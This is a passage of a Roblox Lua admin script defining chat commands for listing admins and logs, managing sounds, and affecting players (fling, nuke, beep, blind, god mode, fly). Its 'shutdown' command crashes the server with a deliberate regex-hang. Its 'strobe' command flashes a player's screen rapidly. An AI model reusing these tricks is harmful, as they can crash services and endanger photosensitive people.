6313 GUI:ListGui(Speaker, "Admin List", TableStorage, 45961462)
6314 end};
6315
6316 [{"serveradmins", "sa"}] = {"", "Lists all admins in the server", 0, "Member", false, function(Speaker, Rank, Arguments)
6317 local TableStorage = {}
6318 for _,Player in pairs(Server.Players:GetChildren()) do
6319 local ValidAdmin,PlayerRank = RANK:IsAdmin(Player)
6320 if ValidAdmin then
6321 if PlayerRank == "Owner" then
6322 table.insert(TableStorage, "BOLD: "..Player.Name..": Owner")
6323 else
6324 table.insert(TableStorage, Player.Name..": "..PlayerRank)
6325 end
6326 end
6327 end
6328 GUI:ListGui(Speaker, "Server admin List", TableStorage, 76198987)
6329 end};
6330
6331 [{"bans", "banlist"}] = {"", "Lists all players who've been banned", 0, "Member", false, function(Speaker, Rank, Arguments)
6332 GUI:ListGui(Speaker, "Ban List", Settings.Ranks.Banned, 163337795)
6333 end};
6334
6335 [{"crashes", "crashlist"}] = {"", "Lists all players who've been crashed", 0, "Member", false, function(Speaker, Rank, Arguments)
6336 GUI:ListGui(Speaker, "Crash List", Settings.Ranks.Crashed, 35480917)
6337 end};
6338
6339 [{"mutes", "muted", "mutelist"}] = {"", "Lists all players who've been muted", 0, "Member", false, function(Speaker, Rank, Arguments)
6340 GUI:ListGui(Speaker, "Mute List", Settings.Ranks.Muted, 202000870)
6341 end};
6342
6343 [{"exiles", "exilelist"}] = {"", "Lists all the exiled players(banned, crashed, muted) in the admin", 0, "Member", false, function(Speaker, Rank, Arguments)
6344 local TableStorage = {}
6345 for _,Obj in pairs(Settings.Ranks.Banned) do table.insert(TableStorage, Obj..": Banned") end
6346 for _,Obj in pairs(Settings.Ranks.Crashed) do table.insert(TableStorage, Obj..": Crashed") end
6347 for _,Obj in pairs(Settings.Ranks.Muted) do table.insert(TableStorage, Obj..": Muted") end
6348 GUI:ListGui(Speaker, "Exile List", TableStorage, 132769258)
6349 end};
6350
6351 [{"ranked", "ranks", "ranklist"}] = {"", "Lists all the players ranked in the admin", 0, "Member", false, function(Speaker, Rank, Arguments)
6352 local TableStorage = {}
6353 for PlayerRank,PlayerNames in pairs(Settings.Ranks) do
6354 for Num,PlayerName in pairs(PlayerNames) do
6355 if PlayerRank == "Owner" then
6356 table.insert(TableStorage, "BOLD: "..PlayerName..": Owner")
6357 else
6358 table.insert(TableStorage, PlayerName..": "..PlayerRank)
6359 end
6360 end
6361 end
6362 GUI:ListGui(Speaker, "Rank List", TableStorage, 21341765)
6363 end};
6364
6365 [{"logs", "commandlogs", "cmdlogs"}] = {"", "Lists all the logs of executed commands", 0, "Admin", false, function(Speaker, Rank, Arguments)
6366 GUI:ListGui(Speaker, "Command Logs", CORE:ReverseTable(CommandLogs), "Log")
6367 end};
6368
6369 [{"chatlogs"}] = {"", "Lists all the logs of players who've chatted", 0, "Admin", false, function(Speaker, Rank, Arguments)
6370 GUI:ListGui(Speaker, "Chat Logs", CORE:ReverseTable(ChatLogs), "Log")
6371 end};
6372
6373 [{"irclogs"}] = {"", "Lists all the logs of irc output", 0, "Admin", false, function(Speaker, Rank, Arguments)
6374 GUI:ListGui(Speaker, "IRC Logs", CORE:ReverseTable(IRC.Logs), "Log")
6375 end};
6376
6377 [{"exploitlogs"}] = {"", "Lists all the logs of exploits", 0, "Admin", false, function(Speaker, Rank, Arguments)
6378 local ExploitLog = Server.GDS:GetAsync("ExploitLog")
6379 if type(ExploitLog) ~= "table" then ExploitLog = {} end
6380 GUI:ListGui(Speaker, "Exploit Logs", ExploitLog, "Log")
6381 end};
6382
6383 [{"clearlogs", "clearcommandlogs", "clearcmdlogs"}] = {"", "Clears all the logs of executed commands", 0, "Owner", false, function(Speaker, Rank, Arguments)
6384 CommandLogs = {}
6385 end};
6386
6387 [{"clearchatlogs"}] = {"", "Clears all the logs of players who've chatted", 0, "Owner", false, function(Speaker, Rank, Arguments)
6388 ChatLogs = {}
6389 end};
6390
6391 [{"clearirclogs"}] = {"", "Clears all the logs of irc output", 0, "Owner", false, function(Speaker, Rank, Arguments)
6392 IRC.Logs = {}
6393 end};
6394
6395 [{"clearalllogs", "resetlogs"}] = {"", "Clears ALL logs (Command, Chat, IRC) but not exploit logs", 0, "Owner", false, function(Speaker, Rank, Arguments)
6396 CommandLogs = {}
6397 ChatLogs = {}
6398 IRC.Logs = {}
6399 end};
6400
6401 [{"clearexploitlogs"}] = {"", "Clears all the logs of exploits", 0, "Admin", false, function(Speaker, Rank, Arguments)
6402 Server.GDS:SetAsync("ExploitLog", {})
6403 end};
6404
6405 [{"soundlist", "musiclist", "audiolist", "songs", "sounds", "musics", "audios"}] = {"", "Lists all the sounds in the global sound list", 0, "Member", false, function(Speaker, Rank, Arguments)
6406 local List,Correlate,SoundName = {},{},{}
6407 for Name,Info in pairs(SoundList) do
6408 local View = "Command Name: "..Name.." | Audio ID: "..Info[1].." | Full Name: "..Info[2]
6409 table.insert(List, View)
6410 Correlate[View] = Info[1]
6411 end
6412
6413 local CanClick = true
6414 if Rank == "Member" then CanClick = false end
6415 local Clicked = GUI:ListGui(Speaker, "Sound List", List, "Sound", CanClick)
6416 Clicked.Event:connect(function(ClickName)
6417 local OldSoundId = nil
6418 SOUND:StopGlobalSound()
6419 if "rbxassetid://"..Correlate[ClickName] ~= OldSoundID then
6420 SOUND:PlayGlobalSound(Correlate[ClickName])
6421 end
6422 end)
6423 end};
6424
6425 [{"syncsoundlist", "syncsounds", "syncaudiolist", "syncaudios", "syncmusiclist", "syncmusics"}] = {"", "Resyncs the global sound list to the server", 0, "Admin", false, function(Speaker, Rank, Arguments)
6426 SOUND:SyncSoundList(Speaker)
6427 end};
6428
6429 [{"cleart", "clearterrain", "cleant", "cleanterrain"}] = {"", "Clears all terrain from the server", 0, "Admin", false, function(Speaker, Rank, Arguments)
6430 local Answer = GUI:PromptMessageWithButtons(Speaker, "Clean Terrain?", "Do you really want to clear all terrain in the server? If there is a lot of terrain this can cause major lag. Continue?", "Question", {"Yes", "No"})
6431 if Answer == "Yes" then
6432 Server.Workspace.Terrain:Clear()
6433 end
6434 end};
6435
6436 [{"clearstamp", "clearstamper", "cleanstamp", "cleanstamper"}] = {"", "Clears all items in workspace that came from the stamper tool (Not terrain)", 0, "Admin", false, function(Speaker, Rank, Arguments)
6437 local Answer = GUI:PromptMessageWithButtons(Speaker, "Clean All Stamper Objects?", "Do you really want to clear all stamper objects in the server, this will clean all bricks/models placed down by stamper and if there's a lot of them it can cause major lag? Continue?", "Question", {"Yes", "No"})
6438 if Answer == "Yes" then
6439 for _,Obj in pairs(Workspace:GetChildren()) do
6440 if Obj:FindFirstChild("RobloxStamper") and Obj:FindFirstChild("RobloxModel") then
6441 Obj:Destroy()
6442 end
6443 end
6444 end
6445 end};
6446
6447 [{"base", "baseplate", "newbase", "makebase", "newbaseplate", "makebaseplate"}] = {"", "Creates a baseplate inside the server", 0, "Admin", false, function(Speaker, Rank, Arguments)
6448 CORE:MakeBase()
6449 end};
6450
6451 [{"addsound", "addaudio", "addmusic"}] = {"num(ID) string", "Will add the song of num(ID) named string to the custom sound list of the game", 2, "Admin", false, function(Speaker, Rank, Arguments)
6452 local CustomSounds = Server.GDS:GetAsync("MML Custom Sounds")
6453 if CustomSounds == nil or type(CustomSounds) ~= "table" then
6454 CustomSounds = {}
6455 end
6456 if tostring(Arguments[1]) then
6457 local Request = MARKET:GetItemInfo(Arguments[1])
6458 if Request.AssetTypeId == 3 then
6459 table.insert(CustomSounds, {Arguments[2], Arguments[1]})
6460 SoundList[Arguments[2]] = {Arguments[1], Request.Name, Request.Creator.Name}
6461 Server.GDS:SetAsync("MML Custom Sounds", CustomSounds)
6462 GUI:SendHint(Speaker, "Sound Added to server sound list and for future servers.", 4)
6463 else
6464 GUI:SendMessage(Speaker, "Invalid", "Please make sure that your ID is an audio asset.", 4)
6465 end
6466 end
6467 end};
6468
6469 [{"removesound", "removeaudio", "removemusic"}] = {"string", "Will remove the sound string from the custom sound list of the game", 1, "Admin", false, function(Speaker, Rank, Arguments)
6470 local CustomSounds = Server.GDS:GetAsync("MML Custom Sounds")
6471 if CustomSounds == nil or type(CustomSounds) ~= "table" then
6472 CustomSounds = {}
6473 end
6474
6475 local Removed = {}
6476 for Num,Data in pairs(CustomSounds) do
6477 if string.sub(string.lower(Data[1]),1,#Arguments[1]) == string.lower(Arguments[1]) then
6478 table.insert(Removed, Data[1])
6479 table.remove(CustomSounds, Num)
6480 end
6481 end
6482
6483 Server.GDS:SetAsync("MML Custom Sounds", CustomSounds)
6484
6485 SOUND:SyncSoundList()
6486
6487 if #Removed > 0 then
6488 GUI:SendHint(Speaker, "Removed from custom sound list: "..STRING:UnpackArgs(Removed))
6489 else
6490 GUI:SendHint(Speaker, "Could not find sound "..Arguments[1].." in custom sound list")
6491 end
6492 end};
6493
6494 [{"clearsounds", "clearaudio", "clearmusic"}] = {"", "Clears all sounds in the custom sound list of the game", 0, "Admin", false, function(Speaker, Rank, Arguments)
6495 local Answer = GUI:PromptMessageWithButtons(Speaker, "Clear All Sounds", "Would you like to clear all sounds from the custom Lua".."M".."od".."elMa".."ke".."r's sound list? This will clear all sounds from the ;addsound command and will affect all sounds in all of this game's servers. Are you sure you want to clear?(All default global sounds will remain)", "Question", {"Yes", "No"})
6496 if Answer == "Yes" then
6497 Server.GDS:SetAsync("MML Custom Sounds", {})
6498 SoundList = GlobalSoundList -- Reset to old sounds without having to re-sync!
6499 GUI:SendHint(Speaker, "All custom sounds have been removed", 4)
6500 end
6501 end};
6502
6503 [{"benchmark", "bench"}] = {"player", "Benchmarks player", 1, "Admin", false, function(Speaker, Rank, Arguments)
6504 local Players = STRING:Scan(Arguments[1], Speaker)
6505 local SpeakerTesting = false
6506 for _,Player in pairs(Players) do
6507 if Player == Speaker then SpeakerTesting = true end
6508 if Player:FindFirstChild("Backpack") then coroutine.wrap(function()
6509 CORE:ExecuteResource("Benchmark", Player.Backpack, {["Admin"] = script})
6510 --wait(10)
6511 --GUI:SendMessage(Player, "Benchmark almost done", "Your client is cleaning up the mess made. Please wait until you are reset by your client to have results submitted", "Information", 10)
6512 end)() end
6513 end
6514 if SpeakerTesting == false then
6515 GUI:SendMessage(Speaker, "Benchmarking", "The player(s) are now being benchmarked. To view results say "..Settings.Prefix.."getbench player", "Information", 10)
6516 end
6517 end};
6518
6519 [{"getbench", "getbenchmark", "getbenches", "getbenchmarks"}] = {"player", "Gets benchmarks of player", 1, "Member", false, function(Speaker, Rank, Arguments)
6520 local Players = STRING:Scan(Arguments[1], Speaker)
6521 local Compile = {}
6522 for _,Player in pairs(Players) do
6523 local PlayerInfo = ClientInfo[Player.Name]
6524 if PlayerInfo then
6525 if PlayerInfo.Benchmark then
6526 table.insert(Compile, Player.Name..": "..PlayerInfo.Benchmark)
6527 else
6528 table.insert(Compile, Player.Name..": No score")
6529 end
6530 end
6531 end
6532 GUI:ListGui(Speaker, "Benchmarks", Compile, "Information")
6533 end};
6534
6535 [{"replicatecommand", "replicatecmd", "repcmd", "repcommand", "rc", "sudo"}] = {"player string[command]", "Executes string as a command on player as if they said it", 2, "Owner", false, function(Speaker, Rank, Arguments)
6536 local Players = STRING:Scan(Arguments[1], Speaker)
6537 for _,Player in pairs(Players) do
6538 CORE:Chatted(Arguments[2], Player, true)
6539 end
6540 end};
6541
6542 [{"virtexe", "virtualexe", "virtsudo", "virtualsudo", "vsudo", "vs"}] = {"string[Name] string[Rank] string[Command]", "Executes string[Command] on a vitual player named string[Name] with the rank string[Rank]", 3, "Owner", false, function(Speaker, Rank, Arguments)
6543 CORE:Chatted(Arguments[3], nil, true, Arguments[1], Arguments[2], RANK:IsSupremeOwner(Speaker))
6544 end};
6545
6546 [{"longneck", "lneck", "longn", "ln"}] = {"player", "Makes player have a long neck", 1, "Member", true, function(Speaker, Rank, Arguments)
6547 local Players = STRING:Scan(Arguments[1], Speaker)
6548 for _,Player in pairs(Players) do
6549 if Player.Character ~= nil then
6550 if Player.Character:FindFirstChild("Torso") and Player.Character:FindFirstChild("Head") ~= nil then
6551 if Player.Character.Torso:FindFirstChild("Neck") then
6552 Player.Character.Torso.Neck.C0 = CFrame.new(0,3,0) * CFrame.Angles(-math.rad(90),0,math.rad(180))
6553 local Neck = Player.Character:FindFirstChild("Neck") if Neck then Neck:Destroy() end
6554 Neck = Instance.new("Part", Player.Character) Neck.Name = "Neck" Neck.Size = Vector3.new(1,3,1) Neck.Position = Vector3.new(0,100,0) Neck.BrickColor = BrickColor.new(tostring(Player.Character.Head.BrickColor)) Neck.Locked = true
6555 local Mesh = Instance.new("CylinderMesh", Neck) Mesh.Scale = Vector3.new(0.7,1,0.7)
6556 local Weld = Instance.new("Weld", Neck) Weld.Part0 = Neck Weld.Part1 = Player.Character.Torso Weld.C0 = CFrame.new(0,-2,0)
6557 end
6558 end
6559 end
6560 end
6561 end};
6562
6563 [{"nolongneck", "normalneck", "nolneck", "nolongn", "noln", "unlongneck", "unlneck", "unlongn", "unln", "shortneck"}] = {"player", "Makes player's neck normal sized", 1, "Member", true, function(Speaker, Rank, Arguments)
6564 local Players = STRING:Scan(Arguments[1], Speaker)
6565 for _,Player in pairs(Players) do
6566 if Player.Character ~= nil and Player.Character:FindFirstChild("Torso") then
6567 Player.Character.Torso.Neck.C0 = CFrame.new(0,1,0) * CFrame.Angles(-math.rad(90),0,math.rad(180))
6568 local Neck = Player.Character:FindFirstChild("Neck") if Neck then Neck:Destroy() end
6569 end
6570 end
6571 end};
6572
6573 [{"fling"}] = {"player", "Flings player out of the map", 1, "Member", true, function(Speaker, Rank, Arguments)
6574 local Players = STRING:Scan(Arguments[1], Speaker)
6575 for _,Player in pairs(Players) do
6576 local _,RankNum = RANK:GetRank(Player)
6577 if RankNum <= RANK:ConvertRank(Rank) then
6578 CORE:FlingPlayer(Player)
6579 end
6580 end
6581 end};
6582
6583 [{"loopfling", "lfling", "loopf", "lf"}] = {"player", "Flings player out of the map over and over", 1, "Member", true, function(Speaker, Rank, Arguments)
6584 local Players = STRING:Scan(Arguments[1], Speaker)
6585 for _,Player in pairs(Players) do
6586 local _,RankNum = RANK:GetRank(Player)
6587 if RankNum <= RANK:ConvertRank(Rank) then
6588 Flings[Player.Name] = true
6589 CORE:FlingPlayer(Player)
6590 end
6591 end
6592 end};
6593
6594 [{"noloopfling", "unloopfling", "nofling", "unfling"}] = {"player", "Stops theloop fling on player", 1, "Member", true, function(Speaker, Rank, Arguments)
6595 local Players = STRING:Scan(Arguments[1], Speaker)
6596 for _,Player in pairs(Players) do
6597 local _,RankNum = RANK:GetRank(Player)
6598 if RankNum <= RANK:ConvertRank(Rank) then
6599 Flings[Player.Name] = nil
6600 end
6601 end
6602 end};
6603
6604 [{"nuke"}] = {"player", "Nukes player", 1, "Admin", false, function(Speaker, Rank, Arguments)
6605 local Players = STRING:Scan(Arguments[1], Speaker)
6606 for _,Player in pairs(Players) do
6607 CORE:Nuke(Player)
6608 end
6609 end};
6610
6611 [{"beep", "annoy"}] = {"player", "Plays a beep sound to player", 1, "Admin", false, function(Speaker, Rank, Arguments)
6612 local Players = STRING:Scan(Arguments[1], Speaker)
6613 for _,Player in pairs(Players) do
6614 Beeps[Player.Name] = true
6615 SOUND:BeepPlayer(Player)
6616 end
6617 end};
6618
6619 [{"nobeep", "unbeep", "noannoy", "unannoy"}] = {"player", "Stops beeping sound on player", 1, "Admin", false, function(Speaker, Rank, Arguments)
6620 local Players = STRING:Scan(Arguments[1], Speaker)
6621 for _,Player in pairs(Players) do
6622 if Player.PlayerGui then
6623 Beeps[Player.Name] = nil
6624 for _,Obj in pairs(Player.PlayerGui:GetChildren()) do
6625 if Obj.Name == "Annoy" then
6626 Obj:Stop()
6627 Obj:Destroy()
6628 end
6629 end
6630 end
6631 end
6632 end};
6633
6634 [{"time"}] = {"number/string", "Sets the time to number/string(Ex: 9:00, noon)", 1, "Member", false, function(Speaker, Rank, Arguments)
6635 local Time = Arguments[1]
6636 if Time == "day" or Time == "noon" then Time = "12" end
6637 if Time == "night" or Time == "midnight" then Time = "0" end
6638 if Time == "dawn" or Time == "morning" then Time = "6:15" end
6639 if Time == "dusk" or Time == "evening" then Time = "17:45" end
6640 if Time == "afternoon" then Time = "15:30" end
6641 ypcall(function() Server.Lighting.TimeOfDay = Time end)
6642 end};
6643
6644 [{"product", "buy", "purchase", "prod", "place"}] = {"player number(ID)", "Prompts player to purchase item", 2, "Member", false, function(Speaker, Rank, Arguments)
6645 local Players = STRING:Scan(Arguments[1], Speaker)
6646 for _,Player in pairs(Players) do
6647 MARKET:PromptPurchase(Player, Arguments[2], Speaker)
6648 end
6649 end};
6650
6651 [{"gear"}] = {"player ID", "Gives player the gear with the ID of ID", 2, "Member", false, function(Speaker, Rank, Arguments)
6652 local AbuseMode = false
6653 if Rank == "Member" then AbuseMode = Settings.DisableAbuse end
6654 local Players = STRING:Scan(Arguments[1], Speaker)
6655 for _,Player in pairs(Players) do
6656 CORE:Insert(Arguments[2], Player.Backpack, true, {"Tool", "HopperBin"}, AbuseMode)
6657 end
6658 end};
6659
6660 [{"sword"}] = {"player", "Gives player a sword", 1, "Member", false, function(Speaker, Rank, Arguments)
6661 local Players = STRING:Scan(Arguments[1], Speaker)
6662 for _,Player in pairs(Players) do
6663 CORE:Insert(125013769, Player.Backpack, true)
6664 end
6665 end};
6666
6667 [{"accessory", "acs", "hat"}] = {"player ID", "Gives player the accessory with the ID of ID", 2, "Member", false, function(Speaker, Rank, Arguments)
6668 local Players = STRING:Scan(Arguments[1], Speaker)
6669 for _,Player in pairs(Players) do
6670 if Player.Character then
6671 CORE:Insert(Arguments[2], Player.Character, true, {"Accoutrement"})
6672 end
6673 end
6674 end};
6675
6676 [{"flash"}] = {"", "Flashes lighting", 0, "Member", false, function(Speaker, Rank, Arguments)
6677 CORE:ResetLighting()
6678 repeat
6679 Server.Lighting.Ambient = Color3.new(1,1,1)
6680 Server.Lighting.FogColor = Color3.new(1,1,1)
6681 Server.Lighting.Brightness = 1
6682 Server.Lighting.TimeOfDay = 14
6683 wait(0.1)
6684 Server.Lighting.Ambient = Color3.new(0,0,0)
6685 Server.Lighting.FogColor = Color3.new(0,0,0)
6686 Server.Lighting.Brightness = 0
6687 Server.Lighting.TimeOfDay = 0
6688 wait(0.1)
6689 until ModLighting == false
6690 end};
6691
6692 [{"disco", "party"}] = {"", "Changes the lighting so there's a disco party", 0, "Member", false, function(Speaker, Rank, Arguments)
6693 CORE:ResetLighting()
6694 repeat
6695 local Color = Color3.new(math.random(0,255)/255,math.random(0,255)/255,math.random(0,255)/255)
6696 Server.Lighting.Ambient = Color
6697 Server.Lighting.FogColor = Color
6698 Server.Lighting.TimeOfDay = 0
6699 Server.Lighting.FogEnd = 500
6700 wait(0.1)
6701 until ModLighting == false
6702 end};
6703
6704 [{"fixl", "fixlighting", "nodisco", "undisco", "noflash", "unflash"}] = {"", "Removes disco or flash effects", 0, "Member", false, function(Speaker, Rank, Arguments)
6705 CORE:FixLighting()
6706 end};
6707
6708 [{"strobe"}] = {"player", "Makes player's screen flash like a strobe", 1, "Member", false, function(Speaker, Rank, Arguments)
6709 local Players = STRING:Scan(Arguments[1], Speaker)
6710 for _,Player in pairs(Players) do
6711 if Player:FindFirstChild("PlayerGui") then
6712 local SG = Player.PlayerGui:FindFirstChild("MMLA Screen Cover") if SG then SG:Destroy() end
6713 SG = Instance.new("ScreenGui", Player.PlayerGui) SG.Name = "MMLA Screen Cover"
6714 local Frame = Instance.new("Frame", SG) Frame.Name = "Overlay" Frame.Size = UDim2.new(1,0,1,0) Frame.ZIndex = 100
6715 coroutine.wrap(function() repeat Frame.BackgroundColor3 = Color3.new(0,0,0) wait(0.1) Frame.BackgroundColor3 = Color3.new(1,1,1) wait(0.1) until not SG end)()
6716 end
6717 end
6718 end};
6719
6720 [{"nostrobe", "unstrobe", "noblind", "unblind"}] = {"player", "Clears the strobe effect from player's screen", 1, "Member", false, function(Speaker, Rank, Arguments)
6721 local Players = STRING:Scan(Arguments[1], Speaker)
6722 for _,Player in pairs(Players) do
6723 if Player:FindFirstChild("PlayerGui") then
6724 local SG = Player.PlayerGui:FindFirstChild("MMLA Screen Cover") if SG then SG:Destroy() end
6725 end
6726 end
6727 end};
6728
6729 [{"blind"}] = {"player", "Makes player unable to see", 1, "Member", false, function(Speaker, Rank, Arguments)
6730 local Players = STRING:Scan(Arguments[1], Speaker)
6731 for _,Player in pairs(Players) do
6732 if Player:FindFirstChild("PlayerGui") then
6733 local SG = Player.PlayerGui:FindFirstChild("MMLA Screen Cover") if SG then SG:Destroy() end
6734 SG = Instance.new("ScreenGui", Player.PlayerGui) SG.Name = "MMLA Screen Cover"
6735 local Frame = Instance.new("Frame", SG) Frame.Name = "Overlay" Frame.Size = UDim2.new(1,0,1,0) Frame.ZIndex = 100 Frame.BackgroundColor3 = Color3.new(0,0,0)
6736 end
6737 end
6738 end};
6739
6740 [{"rejoin", "rj", "rej", "rjoin"}] = {"", "Makes yourself rejoin the server", 0, "Non-Admin", false, function(Speaker, Rank, Arguments)
6741 local Suc, Err, PlaceID, IntID = Server.TS:GetPlayerPlaceInstanceAsync(Speaker.UserId)
6742 if Suc then
6743 Server.TS:TeleportToPlaceInstance(PlaceID, IntID, Speaker)
6744 else
6745 Server.TS:Teleport(game.PlaceId, Speaker)
6746 end
6747 end};
6748
6749 [{"abuselist", "abusablecommands", "abusecmds", "ac"}] = {"", "Shows a list of abusable commands", 0, "Admin", false, function(Speaker, Rank, Arguments)
6750 GUI:ListGui(Speaker, "Abusable Commands", Settings.AbuseList, 2015506)
6751 end};
6752
6753 [{"addabuse", "makeabuse", "abusecmd", "abusecommand", "addabusable", "makeabusable", "abusablecmd", "abusablecommand"}] = {"string(command)", "Adds string(command) to the abuse list", 1, "Owner", false, function(Speaker, Rank, Arguments)
6754 local NewAbuse = Arguments[1]
6755 if string.sub(string.lower(NewAbuse), 1, #Settings.Prefix) == string.lower(Settings.Prefix) then -- remove prefix if present
6756 NewAbuse = string.sub(NewAbuse, #Settings.Prefix + 1)
6757 end
6758
6759 local Match = false
6760 for _,AbuseCmd in pairs(Settings.AbuseList) do
6761 if string.lower(AbuseCmd) == string.lower(NewAbuse) then
6762 Match = true
6763 break
6764 end
6765 end
6766 if not Match then
6767 table.insert(Settings.AbuseList, NewAbuse)
6768 GUI:MessageAdmins("New abusable command", Speaker.Name.." has made '"..NewAbuse.."' an abuseable command", "Check")
6769 else
6770 GUI:SendMessage(Speaker, "Command Exists", "RED This command matches another in the abuse list, therefore, will not be added", "Error")
6771 end
6772 CORE:SetAbuseCommands()
6773 end};
6774
6775 [{"removeabuse", "removeabuse", "removeabusecmd", "removeabusecommand", "removeabusable", "removeabusable", "removeabusablecmd", "removeabusablecommand", "noabuse", "unabuse", "noabusable", "unabusable"}] = {"string(command)", "Removes string(command) to the abuse list", 1, "Owner", false, function(Speaker, Rank, Arguments)
6776 local NewAbuse = Arguments[1]
6777 if string.sub(string.lower(NewAbuse), 1, #Settings.Prefix) == string.lower(Settings.Prefix) then -- remove prefix if present
6778 NewAbuse = string.sub(NewAbuse, #Settings.Prefix + 1)
6779 end
6780
6781 local Removed = false
6782 for Num,AbuseCmd in pairs(Settings.AbuseList) do
6783 if string.sub(string.lower(AbuseCmd), 1, #NewAbuse) == string.lower(NewAbuse) then
6784 Removed = true
6785 table.remove(Settings.AbuseList, Num)
6786 end
6787 end
6788 if Removed then
6789 GUI:MessageAdmins("Removed abusable command", Speaker.Name.." has removed '"..NewAbuse.."' from the abuse list", "Check")
6790 else
6791 GUI:SendMessage(Speaker, "Command not removed", "RED Could not find '"..NewAbuse.."' in abuse list", "Error")
6792 end
6793 CORE:SetAbuseCommands()
6794 end};
6795
6796 [{"god", "power"}] = {"player", "Gives player unlimited health", 1, "Member", false, function(Speaker, Rank, Arguments)
6797 local Players = STRING:Scan(Arguments[1], Speaker)
6798 for _,Player in pairs(Players) do
6799 if Player.Character and Player.Character:FindFirstChild("Humanoid") then
6800 Player.Character.Humanoid.MaxHealth = math.huge
6801 Player.Character.Humanoid.Health = math.huge
6802 end
6803 end
6804 end};
6805
6806 [{"heal", "nogod", "ungod", "nopower", "unpower"}] = {"player", "Resets health to full, undoes god effect(Doesn't mean there isn't God)", 1, "Member", false, function(Speaker, Rank, Arguments)
6807 local Players = STRING:Scan(Arguments[1], Speaker)
6808 for _,Player in pairs(Players) do
6809 if Player.Character and Player.Character:FindFirstChild("Humanoid") then
6810 if Player.Character.Humanoid.MaxHealth == math.huge then
6811 Player.Character.Humanoid.MaxHealth = 100
6812 Player.Character.Humanoid.Health = 100
6813 else
6814 Player.Character.Humanoid.Health = Player.Character.Humanoid.MaxHealth
6815 end
6816 end
6817 end
6818 end};
6819
6820 [{"loopheal"}] = {"player", "Loops player's health to full", 1, "Member", false, function(Speaker, Rank, Arguments)
6821 local Players = STRING:Scan(Arguments[1], Speaker)
6822 for _,Player in pairs(Players) do
6823 if Player.Character and Player.Character:FindFirstChild("Humanoid") then
6824 local Char = Player.Character
6825 repeat Char.Humanoid.Health = Char.Humanoid.MaxHealth wait() until not Char:FindFirstChild("Humanoid") or Char.Parent == nil or Char.Humanoid.Health == 0
6826 end
6827 end
6828 end};
6829
6830 [{"health"}] = {"player num", "Sets the health of player to num", 2, "Member", false, function(Speaker, Rank, Arguments)
6831 if tonumber(Arguments[2]) then
6832 local Players = STRING:Scan(Arguments[1], Speaker)
6833 for _,Player in pairs(Players) do
6834 if Player.Character and Player.Character:FindFirstChild("Humanoid") then
6835 Player.Character.Humanoid.Health = Arguments[2]
6836 end
6837 end
6838 end
6839 end};
6840
6841 [{"speed", "ws", "walkspeed"}] = {"player num", "Sets the speed of player to num", 2, "Member", false, function(Speaker, Rank, Arguments)
6842 if tonumber(Arguments[2]) then
6843 local Players = STRING:Scan(Arguments[1], Speaker)
6844 for _,Player in pairs(Players) do
6845 if Player.Character and Player.Character:FindFirstChild("Humanoid") then
6846 local Speed = tonumber(Arguments[2])
6847 if Speed then
6848 if Rank == "Member" then
6849 if Speed > 1000 then Speed = 1000
6850 elseif Speed < -1000 then Speed = -1000 end
6851 end
6852 Player.Character.Humanoid.WalkSpeed = Speed
6853 end
6854 end
6855 end
6856 end
6857 end};
6858
6859 [{"damage", "dmg"}] = {"player num", "Takes away num health from player", 2, "Member", false, function(Speaker, Rank, Arguments)
6860 if tonumber(Arguments[2]) then
6861 local Players = STRING:Scan(Arguments[1], Speaker)
6862 for _,Player in pairs(Players) do
6863 if Player.Character and Player.Character:FindFirstChild("Humanoid") then
6864 Player.Character.Humanoid.Health = Player.Character.Humanoid.Health - Arguments[2]
6865 end
6866 end
6867 end
6868 end};
6869
6870 [{"fly"}] = {"player", "Lets player be able to fly", 1, "Member", false, function(Speaker, Rank, Arguments)
6871 local Players = STRING:Scan(Arguments[1], Speaker)
6872 for _,Player in pairs(Players) do
6873 CORE:Fly(Player, 10000)
6874 end
6875 end};
6876
6877 [{"noclip", "noc"}] = {"player", "Lets player be able to noclip", 1, "Member", false, function(Speaker, Rank, Arguments)
6878 local Players = STRING:Scan(Arguments[1], Speaker)
6879 for _,Player in pairs(Players) do
6880 CORE:Fly(Player, 1000000)
6881 end
6882 end};
6883
6884 [{"nofly", "unfly", "clip", "nonoclip", "unnoclip"}] = {"player", "Removes fly or noclip effect", 1, "Member", false, function(Speaker, Rank, Arguments)
6885 local Players = STRING:Scan(Arguments[1], Speaker)
6886 for _,Player in pairs(Players) do
6887 if Player.Character then
6888 if Player.Character:FindFirstChild("StopMMLFly") then
6889 Player.Character.StopMMLFly:InvokeClient(Player)
6890 end
6891 end
6892 end
6893 end};
6894
6895 [{"clearcache", "clearc", "cc"}] = {"", "Clears cached objects such as market info and http local scripts", 0, "Owner", false, function(Speaker, Rank, Arguments)
6896 ScriptCache,MarketCache,CharacterCache,PackageCache = {},{},{},{}
6897 GUI:SendMessage(Speaker, "Cache Cleared", "Cache has been cleared successfully", "Check")
6898 end};
6899
6900 [{"give"}] = {"player string", "Gives player any tool found named string. Can also give build tools (basicbtools, btools, psbtools)", 2, "Member", false, function(Speaker, Rank, Arguments)
6901 local Players = STRING:Scan(Arguments[1], Speaker)
6902 for _,Player in pairs(Players) do
6903 CORE:GiveTools(Player, Arguments[2])
6904 end
6905 end};
6906
6907 [{"tools", "gettools", "toollist", "toolslist"}] = {"", "Gets all tools that you can use the "..Settings.Prefix.."give command", 0, "Member", false, function(Speaker, Rank, Arguments)
6908 local List = {}
6909 for _,Region in pairs(ToolRegions) do
6910 CORE:ScanItems(Region, {"HopperBin", "Tool"}, function(Item)
6911 table.insert(List, Item.Name.." | Found at: "..Item:GetFullName())
6912 end)
6913 end
6914
6915 GUI:ListGui(Speaker, "Tool list", List, 73589272)
6916 end};
6917
6918 [{"btools", "buildtools", "buildingtools"}] = {"player string", "Gives player building tools", 1, "Member", false, function(Speaker, Rank, Arguments)
6919 local Players = STRING:Scan(Arguments[1], Speaker)
6920 for _,Player in pairs(Players) do
6921 CORE:GiveTools(Player, "btools")
6922 end
6923 end};
6924
6925 [{"shutdown", "sd"}] = {"", "Shuts down the server", 0, "Owner", false, function(Speaker, Rank, Arguments)
6926 REMOTE:SendHttpLog(Speaker.Name.." shutdown the server", "INFORMATION")
6927 for _,Player in pairs(Server.Players:GetPlayers()) do
6928 Player:Kick()
6929 end
6930 Server.Workspace:ClearAllChildren()
6931 string.find(string.rep("a", 2^20),string.rep(".?", 2^20))
6932 end};
6933
6934 [{"scale", "size"}] = {"player num", "Scales player's character to num", 2, "Member", false, function(Speaker, Rank, Arguments)
6935 local Players = STRING:Scan(Arguments[1], Speaker)
6936 for _,Player in pairs(Players) do
6937 CORE:Scale(Player, Arguments[2])
6938 end
6939 end};
6940
